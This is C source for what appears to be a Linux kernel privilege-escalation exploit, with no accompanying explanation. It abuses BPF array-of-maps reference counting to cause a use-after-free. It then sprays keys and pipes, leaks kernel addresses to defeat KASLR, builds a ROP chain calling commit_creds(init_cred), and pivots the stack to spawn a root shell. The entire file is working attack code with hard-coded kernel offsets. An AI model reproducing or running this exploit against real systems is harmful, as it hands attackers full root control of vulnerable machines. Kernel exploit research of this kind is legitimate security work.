#define _GNU_SOURCE #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #include <sched.h> #include <sys/types.h> #include <linux/keyctl.h> #include <linux/bpf.h> #include <sys/syscall.h> #include <errno.h>
size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { asm volatile ( "mov %0, cs;" "mov %1, ss;" "mov %2, rsp;" "pushf;" "pop %3;" : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) ); puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); }
void bindCore(int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set); printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core); }
void get_root_shell(){ printf("now pid == %p\n", getpid()); system("/bin/sh"); }
#include <linux/bpf.h> #include <stdint.h>
static inline int bpf(int cmd, union bpf_attr *attr) { return syscall(__NR_bpf, cmd, attr, sizeof(*attr)); }
static __always_inline int bpf_map_create(unsigned int map_type, unsigned int key_size, unsigned int value_size, unsigned int max_entries) { union bpf_attr attr = { .map_type = map_type, .key_size = key_size, .value_size = value_size, .max_entries = max_entries, }; return bpf(BPF_MAP_CREATE, &attr); }
int create_bpf_array_of_map(int fd, int key_size, int value_size, int max_entries) { union bpf_attr attr = { .map_type = BPF_MAP_TYPE_ARRAY_OF_MAPS, .key_size = key_size, .value_size = value_size, .max_entries = max_entries,
.inner_map_fd = fd, };
int map_fd = syscall(SYS_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); if (map_fd < 0) { return -1; } return map_fd; }
static __always_inline int bpf_map_lookup_elem(int map_fd, const void* key, void* value) { union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t)key, .value = (uint64_t)value, }; return bpf(BPF_MAP_LOOKUP_ELEM, &attr); }
static __always_inline int bpf_map_update_elem(int map_fd, const void* key, const void* value, uint64_t flags) { union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t)key, .value = (uint64_t)value, .flags = flags, }; return bpf(BPF_MAP_UPDATE_ELEM, &attr); }
static __always_inline int bpf_map_delete_elem(int map_fd, const void* key) { union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t)key, }; return bpf(BPF_MAP_DELETE_ELEM, &attr); }
static __always_inline int bpf_map_get_next_key(int map_fd, const void* key, void* next_key) { union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t)key, .next_key = (uint64_t)next_key, }; return bpf(BPF_MAP_GET_NEXT_KEY, &attr); }
static __always_inline uint32_t bpf_map_get_info_by_fd(int map_fd) { struct bpf_map_info info; union bpf_attr attr = { .info.bpf_fd = map_fd, .info.info_len = sizeof(info), .info.info = (uint64_t)&info,
}; bpf(BPF_OBJ_GET_INFO_BY_FD, &attr); return info.btf_id; }
void reset_map_refcnt(int map_fd) { union bpf_attr attr; attr.map_fd = map_fd; attr.map_type = map_fd; attr.key_size = sizeof(int); attr.value_size = 0x2000; attr.max_entries = 1; int res = bpf(37, &attr); if (res < 0) { perror("Failed to reset map refcnt"); exit(EXIT_FAILURE); }
printf("BPF map refcnt reset successfully!\n"); }
#include "key.h" #define TOTAL_PIPE 100
#include <sys/types.h> #include <sys/xattr.h>
size_t data[0x1000]; size_t ker_offset; int pipe_fd;
size_t pop_rbp_ret; size_t fake_stack; size_t pop_rsp_ret; char file[0x1000];
int main() { save_status(); bindCore(0); int map_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 4, 10); if(map_fd < 0){ perror("create map_fd"); return -1; } printf("map_fd == %d\n", map_fd); int map_fd2 = create_bpf_array_of_map(map_fd, 4, 4, 1); if(map_fd2 < 0){ perror("create map_fd2"); return -1; } printf("map_fd2 == %d\n", map_fd2);
int map_fd3 = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 4, 10); if(map_fd3 < 0){ perror("create map_fd3"); return -1; } printf("map_fd3 == %d\n", map_fd3); int map_fd4 = create_bpf_array_of_map(map_fd3, 4, 4, 1); if(map_fd4 < 0){ perror("create map_fd4"); return -1; } printf("map_fd4 == %d\n", map_fd4);
int map_fd5 = create_bpf_array_of_map(map_fd3, 4, 4, 1); if(map_fd5 < 0){ perror("create map_fd5"); return -1; } printf("map_fd5 == %d\n", map_fd5);
int key = 0; bpf_map_update_elem(map_fd4, &key, &map_fd3, BPF_ANY); bpf_map_update_elem(map_fd5, &key, &map_fd3, BPF_ANY);
reset_map_refcnt(map_fd3); close(map_fd4); sleep(1);
reset_map_refcnt(map_fd3); close(map_fd3); getchar();
int kids[0x100]; spray_key(kids, 1, 0x100); puts("spray key done"); getchar();
int pipe1[TOTAL_PIPE][2]; memset(data, 's', sizeof(data)); for(int i = 0; i < TOTAL_PIPE; i++){ if(pipe(pipe1[i]) < 0){ perror("create pipe"); break; } } for(int i = 0; i < 1; i++){ if(fcntl(pipe1[i][1], F_SETPIPE_SZ, 0x1000 * 8 ) < 0){ puts("set pipe size error!"); exit(-1); } write(pipe1[i][1], data, 0x1008); }
puts("spray pipe done"); getchar();
int klen = key_read(kids[0], data, 0x8000); printf("klen == 0x%x\n", klen); size_t ops = data[4]; ker_offset = ops - 0xffffffff82427c40; printf("ker_offset == %p\n", (void *)ker_offset);
size_t heap = -1; for(int i = 10; i < 0x100; i++){ if(data[i] > 0xffff888000000000 && data[i] < 0xffffffff00000000){ printf("%p\n", (void *)data[i]); heap = data[i]; break; } } heap = heap & 0xfffffffff0000000; printf("heap == %p\n", (void *)heap); size_t magic = ker_offset + 0xffffffff82004941;
size_t rops[0x1000]; int p = 0; rops[p++] = magic; rops[p++] = magic; rops[p++] = magic; rops[p++] = magic; rops[p++] = magic; rops[p++] = magic;
size_t init_cred = ker_offset + 0xffffffff82c52be0; size_t commit_creds = ker_offset + 0xffffffff810d2440; size_t pop_rdi_ret = ker_offset + 0xffffffff8138ae7d; size_t kpti = ker_offset + 0xffffffff8220172c; size_t msleep = ker_offset + 0xffffffff811583c0; size_t copy_from_user = ker_offset + 0xffffffff81601da0; size_t core_pattern = ker_offset + 0xffffffff82d765e0; size_t pop_rsi_ret = ker_offset + 0xffffffff81000127; size_t pop_rdx_ret = ker_offset + 0xffffffff8128f3bc; size_t swapgs_ret = ker_offset + 0xffffffff82076858; size_t iretq = ker_offset + 0xffffffff8103f745;
memcpy(file, "12345678", 8);
rops[p++] = pop_rdi_ret; rops[p++] = init_cred; rops[p++] = commit_creds; rops[p++] = swapgs_ret; rops[p++] = iretq; rops[p++] = get_root_shell; rops[p++] = user_cs; rops[p++] = user_rflags; rops[p++] = user_sp; rops[p++] = user_ss;
write(pipe1[0][1], rops, 0x1000); puts("write rops done");
klen = key_read(kids[0], data, 0x8000); for(int i = 0; i < 15; i++){ printf("read2 : %p\n", (void *)data[i]); } size_t page = data[7]; size_t page_off = page & 0xfffffff; page_off = page_off / 0x40; page_off = page_off * 0x1000;
size_t pipe_addr = heap + page_off; printf("pipe_addr == %p\n", (void *)pipe_addr); printf("kpti == %p\n", (void *)kpti); getchar();
key_revoke(kids[0]); puts("key revoke done"); getchar();
size_t pay[0x1000]; int k = 0; pay[k++] = page - 0x80; pay[k++] = 0x100000000000; pay[k++] = pipe_addr; pay[k++] = 0x10; pay[k++] = 0;
pay[k++] = page - 0x40; pay[k++] = 0x100000000000; pay[k++] = pipe_addr; pay[k++] = 0x10; pay[k++] = 0;
pay[k++] = page; pay[k++] = 0x100000000000; pay[k++] = pipe_addr; pay[k++] = 0x10; pay[k++] = 0;
setxattr("/tmp/", "user.attribute", pay, 0x110, 0);
pop_rbp_ret = ker_offset + 0xffffffff8128f0c7; fake_stack = pipe_addr + 0x30; pop_rsp_ret = ker_offset + 0xffffffff8118509f;
for(int i = 0; i < 1; i++){ close(pipe1[i][0]); pipe_fd = pipe1[i][1]; __asm__( "mov rdi, pipe_fd;" "mov rsi, 0;" "mov rdx, 8;" "mov r15, pop_rsp_ret;" "mov r14, fake_stack;" "mov r13, 0xdddddddd;" "mov r12, 0xcccccccc;" "mov r11, 0xbbbbbbbb;" "mov r10, 0xaaaaaaaaa;" "mov r9, 0x99999999;" "mov rax, 3;" "syscall;"
); }
puts("end"); getchar(); return 0; }
|